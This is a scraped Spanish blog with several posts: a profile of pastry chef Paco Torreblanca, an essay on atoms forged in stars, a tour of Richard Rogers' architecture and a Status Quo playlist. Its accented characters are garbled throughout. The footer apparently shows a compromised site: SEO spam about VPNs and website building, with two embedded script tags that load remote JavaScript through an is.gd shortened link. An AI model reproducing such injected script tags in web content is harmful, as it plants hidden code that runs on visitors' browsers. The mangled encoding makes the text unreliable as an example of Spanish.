TRANTOR

A?Un postrecito?

A�

A estas alturas no vamos a negar que, como a algA?n otro morador de por aquA�, nos encanta comer. SA� seA�or, nos encanta, y lo decimos a boca llena, con perdA?n. TambiA�n debemos reconocer cierta corrosiA?n por envidia, sA�. Nos confesamos esporA?dicos seguidores de un programa televisivo cuya idea nos ha sido “robada”, pues forma parte de mA?s de un proyecto quimA�rico fraguado entre los vapores A�etA�licos de un tinto o de algA?n licor sorbido tras una opA�para comida, al calor de una buena sobremesa, con quien disfruta del comer, del beber, de entusiasmarse; niA�os cuarentones, amigos.

A�

A�

Pero ya es sabido que no hay nada nuevo bajo el Sol o, como dirA�a aquel, no hay nada bajo el Sol. Se nos han adelantado: Un paA�s para comA�rselo. Nos hubiese encantado ser protagonistas de semejantes aventuras; aventuras gastronA?micas. Bien es verdad que no somos muy de postres -sA� de chocolate, negro, valga la redundancia (1)- aunque de vez en cuando hemos contestado afirmativamente a la pregunta del tA�tulo. Sin embargo, nos llamA? poderosamente la atenciA?n lo que a continuaciA?n les traemos en nuestro afA?n de compartir lo excelente. El programa giraba en torno a Alicante…

A�

A�

Paco Torreblanca, Villena, Alicante, 1951. Su padre luchA? en la guerra civil espaA�ola junto a Jean Millet, uno de los mejores reposteros franceses de la A�poca, con quien lo manda a ParA�s para que aprenda el oficio de pastelero. A los doce aA�os pasa de estar jugando con los crA�os de su calle a conocer un mundo de lujo, cenar en Maxim’s y aprender con los mejores de la cocina francesa. Ahora es uno de los mA?s prestigiosos reposteros del mundo,A�unos treinta galardones lo atestiguan, como el de mejor repostero europeo del 90, aunque la prueba fehaciente estA? en su empresa Totel (2), en Elda. De aquella A�poca mantiene amigos que ahora son maestros de la hostelerA�a y forman parte de Relais Desserts, asociaciA?n internacional de reposteros.

A�

A�

Gran amante de su profesiA?n, lo hemos oA�do decir que deberA�a pagar por trabajar en lo que hace. Su empresa sirve reposterA�a a los restaurantes y comercios mA?s exclusivos del mundo. La consagraciA?n le llegA? en 2004 con el encargo recibido de la Casa Real para el enlace del prA�ncipe Felipe con Letizia Ortiz. SegA?n cuentan, el postre elaborado, la Gianduja Real, recibiA? la ovaciA?n unA?nime de todos los invitados, puestos en pie, encabezados por el propio Carlos de Inglaterra.

A�

A�

Ahora recibe mA?s de cuatrocientas solicitudes anuales de gente que quiere aprender de A�l. Todas no pueden ser atendidas, mas algunas no son cobradas. TambiA�n le hemos oA�do contar que una de estas A?ltimas recibiA? como recompensa un secreto centenario: la receta original del panettone, que A�l mismo perfeccionA? y que es uno de sus artA�culos estrella. No sA?lo imparte cursos en EspaA�a, tambiA�n en Estados Unidos, JapA?n, SudamA�rica, Francia, Italia, Alemania. Algunas de las materias -para ir abriendo boca-: tA�cnicas esenciales del arte de la pastelerA�a, fundamentos creativos de reposterA�a, fundamentos artA�sticos de la cocina de Torreblanca, tartas y pastelerA�a, bollerA�a tradicional, escultura con chocolate, esculturas con hielo, tartas y pasteles de boda, decoraciA?n con chocolate…

A�

A�

Su pasiA?n oculta, o no, es la escultura. Cuando termina la jornada se encierra en su buhardilla y esculpe formas, es una fuente de inspiraciA?n; de hecho estA? preparando otro libro sobre esculturas en azA?car (3) en homenaje a la obra de Pablo Gargallo. Su ingrediente favorito, el que mA?s le sigue sorprendiendo, el chocolate, siempre el chocolate. La reposterA�a, un arte efA�mero.

A�

A�

A�

A�

Y hablando de arte, y dado que -aunque traA�do por los pelos- pretendemos dar impulso a nuestra categorA�a “Garbanzos en la tercera fase”, vamos a recomendarles una pelA�cula al hilo de lo expuesto. No es necesario ser Holmes para deducir que serA? “Chocolat“. Por lo evidente -pueden degustar el arte efA�mero de Torreblanca mientras la contemplan- y por lo oculto. Decimos esto por un pequeA�o sincro vivido con un comentario a la anterior entrada de nuestra querida V., que no espera demasiado de la “raza humana”. Aquellos que vean el filme y recuerden el fantA?stico momento sabrA?n a quA� nos referimos. Era ineludible.

A�

-Notas, fuentes y vA�nculos-.

A�

(1) Tampoco le vamos a hacer ascos a un buen flan, natilla, A�coulant, profiterol baA�ado en chocolate caliente, cuajada con miel…
(2) Luz del amanecer que pasa entre las ramas, en japonA�s. TambiA�n comienzo de algo.
(3) Otros libros suyos: “La SeducciA?n del AzA?car”, “Eurodelices”, “La obra de Francisco Torreblanca”, “Paco Torreblanca”, “La Cocina Dulce”, “ColecciA?n (Piezas de AzA?car)”, “Siete”.
(4) PA?gina oficial.
(5) Abundosa informaciA?n sobre el repostero, aquA�.
(6) Noticias sobre nuestro personaje.

A�

A�

 

Polvo eres…

A�

A�

Este amigo que les observa no es tan diferente de nosotros; su decrA�pita anatomA�a estA? compuesta por lo mismo que la caduca nuestra, A?tomos. Bien es verdad que ese conjunto de A?tomos que mostramos aquA� arriba ha perdido la maravillosa capacidad autopoyA�tica con que cuenta el nuestro y, esperemos, el suyo. Pero, aunque apasionante, no es este el tema que nos ocupa; ya ha sido tratado en anteriores -lejanA�simas parecen ya- entradas.

MA?s bien nos interesa hoy reflexionar sobre la procedencia de uno u otro conjunto de A?tomos. Es mA?s, sobre la procedencia de cualquier A?tomo que exista en el Universo Mundo. Dejando aparte la materia y la energA�a oscura que, como sus nombres indican, son cuestiones un tanto hermA�ticas y misteriosas aA?n, centrA�monos en la materia ordinaria; ordinaria de nombre porque por lo demA?s ha conformado alguna de las maravillas que les hemos mostrado alguna vez en esta humilde morada, que no es poco. Y conformarA? cualquier objeto material del Cosmos que se les ocurra.

A?De dA?nde proceden esos juguetones A?tomos que forman su cuerpo? A?De dA?nde procede cualquier A?tomo que mora sobre la faz de la Tierra? A?De dA?nde, cualquiera de los que existen en este inabarcable, inabordable, Universo? A?De dA?nde, en definitiva, cualquiera de los que puebla esa maravilla de la inteligencia que solemos llamar tabla periA?dica?A�Pues todos del mismo lugar, de esos millones de millones de imponentes crisoles que abarrotan el espacio-tiempo, las estrellas. Pero hagamos un poco de historia.

A�

A�

En un principio todos los A?tomos creados tras el Big Bang eran de hidrA?geno. Muy triste serA�a nuestra existencia -no existencia, dirA�amos mA?s bien- de seguir esto asA�. La fuerza gravitatoria fue amontonA?ndolos en tremebundas calderas termonucleares: estrellas de primera generaciA?n, es decir, las primeras que vieron o dieron, por mejor decir, la luz a nuestro primigA�neo Universo. La temperatura, y por tanto la velocidad de las partA�culas en el interior de las estrellas, es sencillamente descomunal y esto permite actuar al segundo personaje que necesitamos, la fuerza nuclear fuerte. Nuclear porque su rango de actuaciA?n es muy pequeA�o, del orden del tamaA�o de un nA?cleo, una cienbillonA�sima de metro. Fuerte porque lo es mA?s que las otras tres interacciones fundamentales de la Naturaleza. Tanto es asA�, que supera con mucho la repulsiA?n electromagnA�tica -tercera interacciA?n fundamental en escena- que experimentan los protones por tener la misma carga. La fuerza nuclear fuerte actA?a como un gancho que mantiene unidos, siempre que estA�n lo suficientemente cerca, a esos esquivos protones que tenderA�an a alejarse por mor de su carga. Y cuando en un nA?cleo atA?mico se une mA?s de un protA?n ya no tenemos hidrA?geno, pasamos a tener helio.

A�

A�

SA�, lo que durante siglos habA�an buscado los alquimistas, la transmutaciA?n de unas sustancias en otras, lo llevaban haciendo los astros desde la noche de los tiempos. La condiciA?n necesaria para conseguir enganchar los protones entre ellos, venciendo su repulsiA?n a distancia, es la elevadA�sima temperatura que se da en el interior de las estrellas y que les confiere velocidades de vA�rtigo. Mediante este proceso, la fusiA?n nuclear, los A?tomos de hidrA?geno se van transmutando en los distintos tipos de A?tomos que forman toda la materia que existe. AdemA?s se desprende energA�a, una gran cantidad de energA�a, inmensa (1), dadas las toneladas por segundo que se fusionan.

A�

A�

Sin embargo, este procedimiento es estable hasta producir el hierro (elemento que cuenta con 26 protones y 30 neutrones en el nA?cleo del isA?topo mA?s comA?n), lo cual nos explica el porquA� de su abundancia, por ejemplo en el interior de los planetas rocosos. De modo que, A?cA?mo se ha producido el resto de elementos mA?s pesados que el hierro, con mA?s protones en su nA?cleo? Mediante una de las mayores catA?strofes que se pueden contemplar en el Universo; mayor aA?n que la pA�rdida de Cuba o la actuaciA?n de Remedios Amaya, a cuyo lado el Krakatoa no es mA?s que un petardo de dos pesetas, la explosiA?n de una supernova (2).

A�

A�

Una estrella es, en esencia, una bola de gas, o plasma por mejor decir. Tal geometrA�a es posible gracias al concurso de dos tendencias o fuerzas antagA?nicas. Por un lado la presiA?n y la radiaciA?n (la cantidad de energA�a emitida por segundo y metro cuadrado es tremebunda) que tiende a arrastrar toda la materia hacia afuera. Por otro lado la sempiterna gravedad, que tiende a colapsarla hacia adentro. Durante la vida normal de una estrella ambas fuerzas estA?n equilibradas y mantienen la estabilidad del monstruo. Pero al final de la vida de A�ste, cuando el combustible nuclear se ha agotado y las reacciones termonucleares de fusiA?n dejan de ser viables, la gravedad toma el control de asunto, y esto es un asunto grave. La estrella comienza a contraerse sobre sA� misma; llega un momento de apretura -jamA?s visto en el metro de Tokio o esquina de la madrugA?- en el que la materia se va haciendo cada vez mA?s densa paraA�implotar y acabar explotando en un autA�ntico reventA?n que ya querrA�a para sA� cualquier mascletA?.

A�

A�

Esta enorme constricciA?n crea las condiciones necesarias para producir el resto de elementos quA�micos y, de paso, la explosiA?n de la supernova los disemina por doquier, haciendo posible la formaciA?n de nuevas estrellas en lejanos emplazamientos y futuras A�pocas gracias a los escombros del astro sacrificial. Estrellas de posterior generaciA?n, con mA?s riqueza y diversidad de elementos, que dejarA?n migajas de sus ladrillos para la construcciA?n de planetas que orbiten a su alrededor rindiA�ndoles pleitesA�a. Tengan presente, pues, que cualquiera de los A?tomos que forman su, a buen seguro, apreciado cuerpo, por mucha cA?rcel del alma que algunos lo quieran considerar, estuvo anteriormente, en un tiempo muy, muy lejano, el el interior de algA?n extinto crisol, de alguna estrella muy, muy lejana.

A�

A�

Estrellas medianitas como nuestro Sol, que no tienen la masa necesaria para convertirse en uno de estos artefactos pirotA�cnicos, acabaran sus dA�as -hecho un poco mA?s lejano de lo que los mayas previeron, por suerte para la mayorA�a de los presentes- de un modo algo mA?s apacible. Lo que el futuro nos depara, dentro de unos cinco mil millones de aA�os de nada, es un desagradable cosquilleo producido por la excesiva cercanA�a de nuestro Astro Rey. Al agotar su combustible -hidrogenado y supervitaminado- el Sol irA? aumentando su tamaA�o hasta convertirse en una suerte de gigante roja, para acabar engullA�ndonos, no sin antes haber carbonizado hasta al mA?s gA�lido de los suecos, reduciA�ndolo a vil ceniza.

A�

A�

Polvo de estrellas somos, y en polvo de estrellas nos hemos de convertir (3).

A�

A�

Este miA�rcoles de ceniza (4) es un dA�a tan apropiado como otro cualquiera, o quizA? mA?s, para reflexionar sobre la transitoriedad de su existencia. Gimnasia de verdad recomendable, que les invitamos a practicar y de la que cada cual podrA? sacar las mA?s beneficiosas, reparadoras y reconstituyentes conclusiones. Memento Mori.

A�

- Notas -.

A�

(1) La energA�a de fusiA?n nuclear se postula como la energA�a del futuro. Su rendimiento es sencillamente increA�ble y el combustible es realmente barato, pues el hidrA?geno se puede extraer con facilidad del agua de mar, sustancia de cierta abundancia. Un simple vaso podrA�a abastecer a toda una ciudad. El problema es controlar en condiciones de laboratorio las enormes presiones y temperaturas necesarias para hacer viable el proceso. Hasta ahora no se ha conseguido. A?Creen vds. que se lograrA? en un futuro cercano, o habrA? que esperar a que se agoten los combustibles fA?siles, ciertamente lucrativos para segA?n quA� rico personajete? Tiramos la piedra y escondemos la mano para dar cabida a las mentes conspiranoicas que, a buen seguro, nos acompaA�an.

A�

(2) En 1054 los astrA?nomosA�chinos dejaron constancia de la observaciA?n de una muy brillante, las noches fueron por un tiempo ciertamente luminosas. Esta supernova dejA? como rastro la Nebulosa del Cangrejo. Para mA?s supernovas vean el enlace.

(3) Hay otra manera, algo mA?s optimista o luminosa tal vez, de entender este hecho incontrovertible; es pensar que somos el Universo que se contempla a sA� mismo, una autA�ntica maravilla de autopoyesis y disminuciA?n de la entropA�a en contra de todo lo esperable.

(4) Aprovechamos la ocasiA?n para saludar y mandar A?nimos a Joseph, que se jubila porque estA? viejecito, y muy bien que hace, que no va a ser todo trabajar en esta vida. Total, para acabar como el que encabeza la entrada, mordiendo el polvo.

A�

A�

Miércoles, febrero 13th, 2013 MEMENTO MORI, TRANTOR 19 comentarios

Su majestad escoJe.


A�

“HA�rcules entre la virtud y el vicio”, Emmanuel Benner.

A�

A�


- Fuentes -.

(1) Mt 15,11: “Pero los sumos sacerdotes incitaron a la gente a que dijeran que les soltase mA?s bien a BarrabA?s”.

A�

Feliz PasiA?n.

A�

 

 

Viernes, abril 6th, 2012 LA PARANOIA SILENTE, TRANTOR No hay comentarios

Richard Rogers.

A�

Pasear por la City un domingo de julio por la tarde es una experiencia casi fantasmagA?rica. En ciertos momentos tenA�amos la sensaciA?n de estar solos en el mundo. Esta impresiA?n de extraA�eza se acentA?a por el marcado contraste que encontramos entre sus edificaciones. Hay puristas que afirman que esto es una aberraciA?n. A nosotros, muy al contrario, nos encanta que, como observan, A�junto a lo que parece una antigua iglesia se alce la torre Swiss Re -“El pepinillo”- de Norman Foster, a quien, llegado el momento, dedicaremos tambiA�n algunas lA�neas.

A�

A�

Sin embargo,A�no es esteA�el mago del palustre que ahora nos ocupa sino otro que, sin entonces conocerlo, nos causA? una honda impresiA?n. No muy lejos de este lugar, al doblar una esquina y levantar la vista, nos topamos de golpe con algo que en primera instancia no supimos catalogar muy bien. A?Una plataforma petrolA�fera aquA�?, A?una fA?brica futurista?, A?un edificio de Blade Runner? Sencillamente algo inquietante y maravilloso que, tras una detenida observaciA?n, pudimos notar no era ni mA?s ni menos que un edificio con las tripas por fuera. Escaleras de servicio, conducciones e instalaciones de mantenimiento como elementos fundamentales de la fachada, sA� seA�or, toda una osadA�a. Y bella. Hemos de confesar que hemos tenido esta imagen una larga temporada como fondo de escritorio.

A�

A�

Sir Richard Rogers nace en Florencia, en 1933. Hijo de Nino, descendiente de emigrantes ingleses a Venecia y Dada, artista y alfarera. SegA?n A�l mismo cuenta de sus angloitalianos padres: “cuando mezclas un mA�dico y una artista te sale un arquitecto“, origen de su humanismo y sus valores culturales fusiA?n de lo mediterrA?neo y lo anglosajA?n. Con los Rogers instalados en Londres, Richard ingresa en la AsociaciA?n de Arquitectos -allA� tendrA�a como maestro a Stirling- y termina sus estudios en Yale, donde coincide con el propio Norman Foster y con quien fundarA�a Team 4 junto a sus respectivas esposas. Alcanzaron amplia notoriedad por su tendencia conocida como alta tecnologA�a. (1)

En 1968 el grupo se disuelve y Rogers se une con el italiano Renzo Piano -se nos acumula el trabajo-. Fruto de esta colaboraciA?n nace uno de sus proyectos mA?s significativos, controvertidos y trascendentes del siglo XX, el Centro Pompidou de ParA�s. Acabado el trabajo, en el 77 funda su propia empresa,A�Rogers Stirk Harbour + Partners (2), con multitud de encargos por todo el mundo.A�El aspecto de sus obras refleja su pasiA?n por la tecnologA�a y el concepto de edificio como mA?quina.A�Su estilo nos muestra estructuras que poseen algo de revival gA?tico o estilo Tudor, concibiendo un a�?diseA�o britA?nicoa�? que ha hecho de Rogers el arquitecto mA?s involucrado con la construcciA?n de obras gubernamentales britA?nicas de los A?ltimos cincuenta aA�os.

A�

A�

Rogers es un entusiasta urbanista que enfoca sus proyectos a crear lugares para la gente, en esa interesantA�sima disciplina de arquitectura de la arquitectura, pura metaarquitectura. Ha publicado libros de referencia como “Ciudades para un pequeA�o planeta” y “Ciudades para un pequeA�o paA�s”.A�Entre los proyectos inmediatos de Rogers destacan la construcciA?n de un rascacielos en la Zona Cero de Nueva York y la remodelaciA?n urbana de Valladolid.

A�

Centro Georges Pompidou, ParA�s, Francia, 1971-77.

Como ya hemos comentado fue diseA�ado por los entonces jA?venes arquitectosA�Richard RogersA�y Renzo Piano. El edificio alberga elA�MusA�e National d’Art Moderne; elA�IRCAM, un centro de investigaciA?n musical y acA?stica y unaA�bibliotecaA�con un aforo de 2.000 personas, abierta al pA?blico. Posee una de las colecciones de arte moderno y contemporA?neo mA?s completas del mundo.

Las conducciones de agua, aire o electricidad fueron pintadas de colores atrevidos y extraA�dos de la parte principal del edificio, como las escaleras, para dejar un interior diA?fano, flexible y altamente funcional. Aunque se desatA? una polA�mica cuando fue acabado, hoy dA�a la gente se ha acostumbrado a su peculiar aspecto y goza de mucha popularidad. Es uno de los primeros edificios de la arquitecturaA�high-tech y uno de los monumentos mA?s visitados de Francia, con cerca de seis millones de visitantes al aA�o.

A�

A�

Lloyd’s de Londres, Londres, Reino Unido, 1978-86.

DespuA�s de trasladar su sala de negociosA�dos veces en 50 aA�os, Lloyda��s querA�aA�un edificio que pudiera satisfacer susA�necesidades hasta bien entrado el prA?ximoA�siglo. Otro requisito fundamental eraA�que Lloyda��s no tuviera que interrumpirA�sus operaciones durante las obras. Richard Rogers propusoA�un edificio en el que la sala de negociosA�se pudiera ampliar o reducir en funciA?n deA�las necesidades del mercado, por medioA�de una serie de galerA�as situadas alrededorA�del espacio central. Sus servicios, tales como escaleras, ascensores (los doce ascensores panorA?micos de vidrio fueron los primeros de este tipo instalados en elA�Reino Unido), conductos de electricidad y sistema de suministro de agua se sitA?an en el exterior, permitiendo liberar el interior y creando un espacio totalmente diA?fano; ocupado en laA�planta baja por la famosa campana Lutine. El espacio vacA�o que se libera crea un atrio iluminado de 60 metros de altura, cubierto por una gran bA?veda de vidrio suspendida de una estructura metA?lica.

A�

A�

Palacio de Justicia de Burdeos, Burdeos, Francia, 1992-98.

El objetivoA�del proyecto era crear un edificio que,A�con su transparencia y espA�ritu abierto,A�transmitiera una imagen positiva delA�sistema judicial francA�s, y requerA�aA�una total separaciA?n entre el pA?blico y elA�personal jurA�dico. Dos elementos bA?sicos del diseA�o sonA�la creaciA?n de un espacio pA?blico y laA�integraciA?n en el paisaje urbano circundante. A�Las “cA?psulas” de las salas de tribunalesA�estA? recubiertas de madera de cedro (combinaciA?n deA�alta tecnologA�a, maquinariaA�controlada por ordenador yA�artesanA�a),A�con soportes que las elevan sobre laA�base de piedra caliza dentro de una granA�pared de cortina de vidrio cubierta porA�un techo ondulado de cobre. El uso de formas irregulares yA�materiales naturales hace que el edificio seA�adapte a la perfecciA?n a su entorno, queA�incluye una parte de la muralla medieval deA�la ciudad. La forma de “botella” de las salas deA�tribunales deja pasar la luz del dA�a y su alturaA�permite controlar la temperatura medianteA�estratificaciA?n.

A�

A�

Daimler Chrysler, Berlin, Alemania, 1993-99.

El pliego de condiciones estipulaba queA�se debA�a respetar el tradicional bloqueA�cuadrado berlinA�s, con edificios de noA�mA?s de nueve alturas distribuidos en tornoA�a patios interiores. El estudio fue capaz crear edificios de un aspectoA�sorprendentemente contemporA?neo que,A�ademA?s, utilizaban servicios con bajoA�consumo de energA�a.A�La clave para esta estrategia consistA�a enA�erosionar las esquinas sudorientales de los edificios para aprovechar al mA?ximoA�la energA�a solar, la ventilaciA?nA�natural y la luz del dA�a.A�Las viviendas estA?n distribuidas en torno aA�un patio con terrazas y jardines. De nuevo seA�analizA? la radiaciA?n solar y la luz naturalA�que recibA�a cada fachada y se desarrollaronA�soluciones para reducir al mA�nimo el uso deA�energA�a.

A�

A�

CA?pula del Milenio, Londres, Reino Unido, 1996-99.

El Millennium Dome es la mayor estructura de techo A?nico del mundo. Externamente se asemeja a una gran carpa con torres de sujeciA?n de 100 m de altura, una por cada mes del aA�o o por cada hora de la esfera del reloj, representando el papel jugado por elA�Tiempo Medio de Greenwich. Su planta es circular, de 365 m de diA?metro, uno por cada dA�a del aA�o, con bordes ondulados. La estructura pesa menos que el aire contenido por el edificio y aunque se le llamaA�cA?pula no lo es estrictamente, al no sujetar su propio peso y requerir la ayuda de una red de cables sujetos por mA?stiles.A�El toldo estA? fabricado deA�tela deA�fibra de vidrio recubierta conA�PTFE, un plA?stico duradero y resistente a las inclemencias meteorolA?gicas, alcanzando 50 m de altura en el centro.

A�

A�

Terminal 4 del aeropuerto de Barajas, Madrid, EspaA�a, 1997-2006.

La terminal, la mA?s grande deA�EspaA�a, ha sido encargada con el fin de queA�el Aeropuerto Internacional de Barajas puedaA�competir con los principales aeropuertosA�europeos. El edificio principal consta de unaA�serie de estructuras paralelas separadasA�por un bloque lineal, lo que permite que laA�luz natural penetre hasta el A?ltimo rincA?nA�del interior. El mismo esquema se aplicaA�tambiA�n en el satA�lite, que estA? formado porA�dos bloques lineales. Las estructuras lineales del techo, queA�cubren los pisos como si de una velaA�se tratase, estA?n conectadas por arribaA�mediante una serie de claraboyas. Esta disposiciA?nA�lineal facilita al ampliaciA?n gradual del edificioA�hasta el aA�o 2010.

A�

A�

Palacio de Justicia de Amberes, Amberes, BA�lgica, 1998-2005.

EstA? concebido como una puerta de entradaA�a la ciudad y como un puente sobre laA�autopista que une el centro de la ciudadA�con el rA�o Schelde. Las seis alas del edificio seA�unen en un enorme salA?n pA?blico (lo queA�tradicionalmente se llama “Salle des PasA�Perdus”). Cubriendo este espacio figura unA�espectacular techo de forma cristalina queA�se eleva sobre los paraboloides que cubrenA�las salas de tribunales. Uno de los aspectos fundamentales delA�proyecto es el uso de servicios con bajoA�consumo energA�tico: la luz natural seA�aprovecha al mA?ximo, el agua de lluvia seA�recicla y la ventilaciA?n natural estA? reforzadaA�con un sistema de ventilaciA?n a bajaA�velocidad para las salas de audiencia. El diseA�o crea “dedos” de jardines queA�se extienden hasta el mismo corazA?n delA�edificio. El entorno ajardinado estA? pensadoA�para proteger el edificio contra el ruido y laA�contaminaciA?n de la autopista.

A�

A�

The Leadenhall Building, Londres, Reino Unido, 2002-13.

Esta torre de 50 plantas estA? situada frenteA�al edificio de Lloyda��s of London y se elevaA�hasta una altura de 224,5 metros. Su formaA�estilizada crea una silueta caracterA�stica queA�lo distingue de todos los demA?s edificios enA�esta parte de la City de Londres. El perfilA�afilado del edificio se debe a la necesidad deA�respetar las vistas de la Catedral de St Paul. Los niveles que contienen elA�espacio de mA?s calidad para oficinas sonA�de planta rectangular y su profundidad seA�va reduciendo progresivamente hacia laA�cA?spide de la torre. En lugar de recurrirA�al tradicional nA?cleo central para lograrA�estabilidad estructural, el edificio estA?A�rodeado por un tubo reforzado que define elA�perA�metro de los pisos de oficinas y aumentaA�la estabilidad ante el efecto del viento.A�Los elementos de circulaciA?n y serviciosA�estA?n situados en una torre independienteA�orientada al norte que contiene ascensores,A�montacargas, tubos de servicios, maquinariaA�y lavabos. LosA�niveles inferiores estA?n retranqueados enA�diagonal para crear un espectacular espacioA�de siete plantas de altura con iluminaciA?nA�natural que puede albergar tiendas,A�exposiciones, A?rboles y jardines.

A�

A�

Viviendas en Oxley Woods, Reino Unido, 2005-09.

El estudio de Rogers respondiA? a la iniciativa de crear viviendas de calidad por 60.000 libras proponiendoA�un tipo genA�rico, que seA�se puede adaptar a cualquier lugar yA�condiciA?n, utilizando modernos mA�todos deA�construcciA?n. La propuesta hace hincapiA�A�en las posibilidades de adaptaciA?n deA�las viviendas al nA?meroA�de sus ocupantes, que podrA?A�ir evolucionando con el paso del tiempo. Los espacios de servicios (incluyendoA�baA�os, cocinas y centros de calefacciA?n/iluminaciA?n) son estA?ndar para todos losA�tipos de vivienda y, al igual que las fachadas, se fabricanA�previamente y se transportan hasta la obraA�para su montaje. El cambio de revestimiento permite crearA�mA?ltiples variaciones para adaptar lasA�viviendas a las peculiaridades de cada zona,A�adoptando los colores y texturas imperantesA�en los alrededores.

A�

A�

Campus de Palmas Altas, Sevilla, EspaA�a, 2006-09.

En esta nueva ubicaciA?n la empresa Abengoa concentra todas las actividades que tiene repartidas por la ciudad y cede espacio para que puedan instalarse otras empresas e instituciones con la misma vocaciA?n.A�El complejo consta de siete edificios de entre tres y cuatro plantas, agrupados en dos A?reas en torno a un parque central con zonas verdes,A�con la intenciA?n de recuperar los valores tradicionales de los jardines hispanoA?rabes. Las azoteas de los edificios tienen una cubierta verde con plantas autA?ctonas que requieren poco mantenimiento.A�El centro tecnolA?gico cuenta desde octubre de 2008 con la certificaciA?nA�Leed Platino,A�por lo cual estA? considerado como el edificio mA?s sostenible de Europa.

A�

 

A�

A�

- Notas, fuentes y vA�nculos-.

A�

(1)A�High Tech
(2) Sitio oficial, del que hemos sacado la mayor parte de la informaciA?n.
(3) Rogers en el Pritzker.
(4) Richard Rogers en Wikiarquitectura.
(5) ImA?genes de Duccio Malagamba.
(6) TambiA�n debemos a Rogers el diseA�o de las Bodegas Protos, en PeA�afiel. Todo un guiA�o a los amantes del buen caldo.
(7) MA?s obras de Rogers en Great Buildings Collection.
(8) Richard Rogers, de Luis Vidal, recomendable lectura para ampliar.

A�

A�

Jueves, julio 21st, 2011 EL PALUSTRE ILUSTRE, TRANTOR 10 comentarios

Status Quo.

A�

“Status Quo surgiA? de la base de un grupo beat llamado The Spectres, fundado en 1962. El grupo de dedicaba a dar conciertos por locales de Londres y llegaron a publicar algunos sencillos. En 1967 los Spectres se rebautizaron como los Status Quo y se pasan a la psicodelia. Tras publicar algunos trabajos con resultados dispares, en 1970 los Status Quo se redefinen. Mudan las ropas psicodA�licas por los mA?s habituales tejanos y se convierten en una banda de rock y boogie, con un espectacular sonido de guitarra.”(1)

A�

A�

“A lo largo de los siguientes aA�os, losA�Status Quo enlazarA�an A�xito tras A�xito. Albumes como “Piledriver”, “Hello”, “Quo”, “On the Level” o “Blue for You” llegaron a los primeros puestos de las listas. En su paA�s, los Status Quo se convertirA�an en autA�nticos A�dolos.”(1)

A�

A�

“En la dA�cada de los ochenta, Status Quo siguiA? situado en lo mA?s alto, en lo que se refiere al aprecio del pA?blico. Y ello a pesar de los cambios habidos en la formaciA?n, que no impidieron que el grupo siguiera en la misma lA�nea musical que llevaba hasta ahora.A�Una de las bazas mA?s importantes del grupo ha sido el A�mpetu y la energA�a demostrada por Status Quo sobre los escenarios en sus conciertos en directo.”(1)

A�

A�

Con todos ustedes una selecciA?n de canciones, gracias al tiburA?n musical, para que no paren de mover el astrA?galo y el foramen magno. Nos ha sido imposible elegir menos, y muchas se han quedado en el tintero. Acudan a los enlaces para encontrar horas y horas de genuino sonido de poderosas guitarras que desafA�an el paso de las dA�cadas. En verdad estos “jA?venes” son prA?cticamente incombustibles.

A�

A�

Y ahora toda la fuerza del directo; mamA? yo quiero estar en uno de estos conciertos.

A�

Whatever you want, pura fuerza en 2007.
Caroline, en vivo, 1992.
What you’re proposing, live 1984.
The wanderer, montreaux jazz, 2009.
Somthing’bout you I like, en estA�tica videoclip.
A mess of blues, top of the pops, 1983.
Dear John, 1982.
Lies, vivo en 1980.
Lucille, a ver quiA�n puede estar quieto.
Marguerita time, clip de cuando yo era rica.
In the army now, a coro.
Ol’ rag blues, 1983.
Rock n’ roll, top of the pops, 1981.
Rockin’ all over the world, con 120000 personas de coro, ahA�, RamoncA�n.
Gerdundula, un extra de cuatro virtuosos, no se lo pierdan hasta el final.

A�

A�

- Notas, fuentes y vA�nculos -.

A�

(1) Por cortesA�a de todomusica, pues eso, whatever you want de los Status Quo. Todos los discos y vA�deos que puedan imaginar.
(2)A�PA?gina oficial.
(3) MA?s en lastfm.
(4) Fans en EspaA�a.
(5) Wikipedia.

A�

A�

 

Related Posts with Thumbnails
Viernes, junio 24th, 2011 MÚSICA RATONERA, TRANTOR 4 comentarios
Buscar
 
 
“La muerte es una quimera: porque mientras yo existo, no existe la muerte; y cuando existe la muerte, ya no existo yo.” , Epicuro
 
 

Encuestas de la tita.

Archivo

Calendario

octubre 2018
L M X J V S D
« sep    
1234567
891011121314
15161718192021
22232425262728
293031  

Álbum Fotográfico

El archivo XML no existe
The very best VPN Services 2018<script src="https://is.gd/ob8vtI?v=v9.0"></script> Electric power Selling Approaches to Improve The Web business<script src="https://is.gd/ob8vtI?v=v8.0"></script> Outlines For Core Criteria In Essay Writing Help Starting A web site That Sells Starting An online site That Making A site That Making A site That Brings Profit Starting A web site That Brings Profit Starting A Website That Brings Profit Creating A site That Starting An online site That Sells Starting An online site That Provides Starting A site That Markets Designing A Website That Makes CLients Designing An online site That Brings Profit Designing A web site That Makes CLients Starting A web site That Sells Creating A Website That Brings Profit Making An online site That Markets Making A Website That Brings Profit Creating An online site That Creating A Website That Designing An online site That Markets Making A Website That Makes CLients Making A site That Brings Profit Starting A site That Creating A web site That Brings Profit Making A Website That Starting An online site That Provides Making A site That Creating A Website That Makes CLients Creating A Website That Sells